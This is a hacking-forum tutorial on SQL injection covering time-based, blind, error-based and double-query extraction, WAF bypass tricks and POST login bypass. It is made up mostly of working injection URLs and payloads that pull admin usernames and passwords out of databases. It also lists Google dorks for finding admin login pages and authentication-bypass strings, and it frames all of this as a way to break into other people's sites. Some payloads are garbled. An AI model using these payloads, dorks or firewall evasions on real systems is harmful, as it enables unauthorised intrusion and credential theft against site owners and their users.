www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=112) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=112) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true
For string base
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 Uname from admin)=5) waitfor delay '00:00":20'--
For string injection
www.site..com/index.asp?id=123'; IF (LEN(SELECT TOP 1 Uname from admin)=5) waitfor delay '00:00":20'--Code:
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=97) waitfor delay '00:00":20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=97) waitfor delay '00:00":20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=100) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=109) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=105) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=110) waitfor delay '00:00":20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=100) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=109) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=105) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=110) waitfor delay '00:00":20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 pass from admin)=4)
For string injection
www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 pass from admin)=4)Code:
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=108) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=111) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=118) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=101) waitfor delay '00:00":20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=108) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=111) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=118) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=101) waitfor delay '00:00":20'-- * wait 20 second /trueBlind SQL Injection
Spoiler:
If you have read the tutorial about time delay(based) SQL injection this won't be so hard for you basicly you have to geuss every think again
To test website for blind SQL vulnerability we use "and 1=1", "and 1=2 "commands here is how it's done.
Now it's time to guess the version of the database most time's is 5 or 4 we do this by this command "and substring(@@version,1,1)=VERSION HERE"
Ok the version is 5, now we have to guess table names we do this by this command :"and (SELECT 1 from TABLE NAME limit 0,1)=1", let's guess some tables.
So we see tables news and admin let's see columns have admin, we have to guess again, we do this with "(SELECT substring(concat(1,COLUMN NAME),1,1) from TABLE NAME limit 0,1)=1" command.
Now we have table with name admin and 2 columns user and pass. Now we have to guess the data we do this with ASCII like in time based but we can't get the lengh. We do this by this command "and ascii(substring((SELECT concat(COLUMN) from TABLE),CHARACTER NUMBER,1))>ASCII VALUE HERE".
Now let's extract the data from second column just change the column names.
We have extract the data the user and password of the admin is admin:pass. I make this look easy but belive me it's not.
To test website for blind SQL vulnerability we use "and 1=1", "and 1=2 "commands here is how it's done.
Code:
www.site..com/news.php?id=1 and 1=1 * Page load normal
www.site..com/news.php?id=1 and 1=2 * Page doesn't load normal for example the images have disappear or the text anything that can change on the web pageCode:
www.site..com/news.php?id=1 and substring(@@version,1,1)=4 * Page doesn't load normal/false
www.site..com/news.php?id=1 and substring(@@version,1,1)=5 * Page load normal/trueCode:
www.site..com/news.php?id=1 and (SELECT 1 from news limit 0,1)=1 * page load normal/true
www.site..com/news.php?id=1 and (SELECT 1 from users limit 0,1)=1 * page doesn't load norma/false
www.site..com/news.php?id=1 and (SELECT 1 from admin limit 0,1)=1 * page load normal/trueCode:
www.site..com/news.php?id=1 "(SELECT substring(concat(1,user),1,1) from admin limit 0,1)=1" * page load normal.true
www.site..com/news.php?id=1 "(SELECT substring(concat(1,password),1,1) from admin limit 0,1)=1" * page doesn't load normal/ false
www.site..com/news.php?id=1 "(SELECT substring(concat(1,pass),1,1) from admin limit 0,1)=1" * page load normal/trueCode:
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>97 * Page load normal the first char is a we can try with admin ?
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),2,1))>100 * Page load normal second characters is d
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),3,1))>109 * Page load normal the character is m I can be bet that it's admin.
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>105 * Page load normal, the character is i
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>110 * Page load normal the data is admin.Code:
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),1,1))>122 *Doesn't load normal the first character isn't z
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),1,1))>112 * Page load normal first character is p
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),2,1))>97 * Page load normal the character is a
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),3,1))>115 * Page load normal, the character is s
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),4,1))>115 * Page load normal the data is pass.Error based injection
Spoiler:
The cool thing here is that we don;t have to guess tables and columns. Basicly you can use this method when you get error like:
So let's start with explotning. First we will find the version we do this by this command : or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1--
Now you should get error like this.
So now we have to find table names, we do this by this command and (select 1 from (select+count(*),concat((select(select+concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=0xDATABASEHE?X limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a).
Now we should one table name let's say that it's tbladmin, we have to find other by increas the limit. Just change the first number in limit
To get all tables continue increasing the limit, now let's get the column name. We will use this command and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xHEX OF TABLE limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a).
Now le't increase the limit until we get the columns we want.
Let's say that we have user and password, now it's time to extract the data from columns we have to guess it, I'm kidding we don't have to guess it we extrack it with this command and (select 1 from+(select count(*),concat((select(select concat(cast(concat(COLUMN1,0x7e,COLUMN2) as char),0x7e)) from TABLENAME limit+0,1),floor?(rand(0)*2))x from information_schema.tables group by x)a).
Now you should get error "Duplicate entry"
Code:
Error #1604
The Used Select Statements Have A Different Number Of Columns.
Unknown column 1 in order clause.Code:
www.site.com/games.php?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1--Code:
Duplicate entry '5.5.29-log~1' for key 'group_key'Code:
www.site.com/games.php?id=1 and (select 1 from (select+count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--Code:
www.site.com/games.php?id=1 and (select 1 from (select+count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a--Code:
www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--Code:
www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)Code:
www.site.com/games.php?id=1 and (select 1 from+(select count(*),concat((select(select concat(cast(concat(user,0x7e,password) as char),0x7e)) from admin limit+0,1),floor?(rand(0)*2))x from information_schema.tables group by x)a)--Code:
'1~admin~password123~1' for key 'group_key'Double query injection
Spoiler:
In this spoiler yoi will read about double query, it's not so hard injection. Let's start, to check website for vulnerability use '.
Ok the first thing we should do is to find the column count. we do this by order by statment like the way with string injection.
This mean that the number of columns is 11, hope that you know this. Now it's time for the union.
But instand of the vulnerable column we get error.
Ok now here comes double query, first we will find the version with this command and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
we should get something like
Ok since we have the version it's time to extract the database name, we do this with and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
And you should get similar error.
Where universe is the name we search. Now it's time to find the database user, we do this by and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+- command
Now you should get error like this
Now it's time to number of the tables we do this by this command and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xDATABASE NAME)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+- , We need to turn teh database into hex
we can do this by using this site
Here how this should look.
From the error I see that I have 2 tables. Now it's time to get their names, we do this by this command and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xDATABASE limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
Now you may see that after the database name in hex there is limit, we need to incrase it to get all tables.
Let's say that we have those errors.
Our table names are news and admin, now let's find the column count for admin? We do this by and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xDatabase AND table_name=0xTABLE)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+- , database and table should be in HEX again.
Let's say that that I have this error
This means that I have 2 columns, now let's extract their names. To find the name of column we use this command and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0xDATABASE AND table_name=0xTABLE LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-, now you may see that here we have limit too you should increate it for more names
Let's say that I have those errors.
Our column names are username and password now it's time to extract the information we do this by this command and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(TABLE.COLUMN as char),0x27,0x7e) FROM `DATABASE`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+- PAY ATTENTION ON TABLE NAME AND COLUM NAME.
Let's say that I get those errors
From here I see that the admin user:pass is Admin:123456
Ok the first thing we should do is to find the column count. we do this by order by statment like the way with string injection.
Code:
http://www.site.com/index.php?id=1 order by 100--+- * Error
http://www.site.com/index.php?id=1 order by 1--+- * No error
http://www.site.com/index.php?id=1 order by 10--+- * No error
http://www.site.com/index.php?id=1 order by 15--+- * Error
http://www.site.com/index.php?id=1 order by 11--+- ErrorCode:
http://www.site.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9,10--+-Code:
The used SELECT statements have a different number of columns.Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code:
Duplicate entry '~'5.0.91'~1' for key 1Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code:
Duplicate entry '~'universe' for key 1Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code:
Duplicate entry '~'DB_user@localhost'~1' for key 1we can do this by using this site
Code:
http://www.swingnote.com/tools/texttohex.phpCode:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0x756e697665727365 )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code:
Duplicate entry '~'number_of_table(e.g 2)~1' for key 1Now you may see that after the database name in hex there is limit, we need to incrase it to get all tables.
Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x756e697665727365 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+-
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x756e697665727365 limit 0,1)) from information_schema.tables limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code:
Duplicate entry '~'news'~1' for key 1
Duplicate entry '~'admin~1' for key 1Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0x756e697665727365 AND table_name=0x61646d696e )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code:
Duplicate entry '~'number_of_column(e.g 2)~1' for key 1Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x0x756e697665727365 AND table_name=0x0x61646d696e limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1Code:
Duplicate entry '~'username'~1' for key 1
Duplicate entry '~'password'~1' for key 1Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(admin.username as char),0x27,0x7e) FROM `universe`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(admin.password as char),0x27,0x7e) FROM `universe`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code:
Duplicate entry '~'Admin'~1' for key 1
Duplicate entry '~'123456'~1' for key 1Basic WAF bypassing
Spoiler:
WAF mean web application firewall, it blocks attacks like SQLi and XSS now you will learn how to bypass WAP for SQLi it's really simple I will explain some basic techniques.
First technique I will write about is actual query. Actual query can bypass the firewall here is example for query:
I hope that you get the idea write the word between \*! *\
The second one is replaced keywords:
The idea here is to repalce keywords those who are writed with small letters is the syntax !!!
BUT WHEN YOU BYPASS WAF THIS ISN'T IMPORTANT THEY CAN BE SMALL AND LARGE LETTERS !!!
Next one is capitalization
Easy one. Next technique is bypassing with comments.
Comments are:
And here are some examples:
Those should be enough but you can google WAF bypassing there should be a lot of tutorials.
First technique I will write about is actual query. Actual query can bypass the firewall here is example for query:
Code:
....id=-123 \*!union*\+\*!all*\+\*!select*\1,2,3--The second one is replaced keywords:
Code:
...id=-123 UNIunionONOnONUNI AAAAallLLLLLLL SSSSELLLselectEECT 1,2,3—BUT WHEN YOU BYPASS WAF THIS ISN'T IMPORTANT THEY CAN BE SMALL AND LARGE LETTERS !!!
Next one is capitalization
Code:
...id=-123 uNiOn AlL SeLeCt 1,2,3—Comments are:
Code:
\*!*\
/**/Code:
...id=123 \*!union*\\*!all*\\*!select*\
...id=123 \*union*\\*all*\\*select*\
...id=123POST SQL injection
Spoiler:
POST SQL Injection
In this tutorial, I will talk about POST SQL injection, since I haven't seen many fresh tutorials about it on the internet.
POST SQL injection basic posting data that return true values. For example This will return true. Mainly you will target admin login pages, here are some dorks.
Ok when you have find target, it's time to exploit it. Here are some commands which will return true value.
Those should be enough but, in case that those aren't enough you can find cheat sheet in internet.
Ok type one of the commands for admin and the same for password example:
But sometimes may give you wrong username.In this case you can try with admin or administrator
If the attack is successful you will enter in the admin panel.
In this tutorial, I will talk about POST SQL injection, since I haven't seen many fresh tutorials about it on the internet.
POST SQL injection basic posting data that return true values. For example
Code:
' or 1=1Code:
inurl:admin.asp
inurl:adminlogin.asp
inurl:administrator.asp
inurl:login/admin.aspCode:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
ad' or 1=1--
1 OR 1=1
1'1
1' OR '1'='1Ok type one of the commands for admin and the same for password example:
Code:
User:' or 1=1--
Pass:' or 1=1--
User:" or 1=1--
Pass:" or 1=1--
User:') or ('a'='a
Pass:') or ('a'='aCode:
User:admin
Pass:' or 1=1--
User:admin
Pass:" or 1=1--
User:admin
Pass:') or ('a'='aCode:
User:administrator
Pass:' or 1=1--
User:administrator
Pass:" or 1=1--
User:administrator
Pass:') or ('a'='aIf the attack is successful you will enter in the admin panel.
If you have questions you should ask because you can do something wrong. =)

![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
![[Image: imaghhues.jpg]](http://s10.postimage.org/pha9zn485/imaghhues.jpg)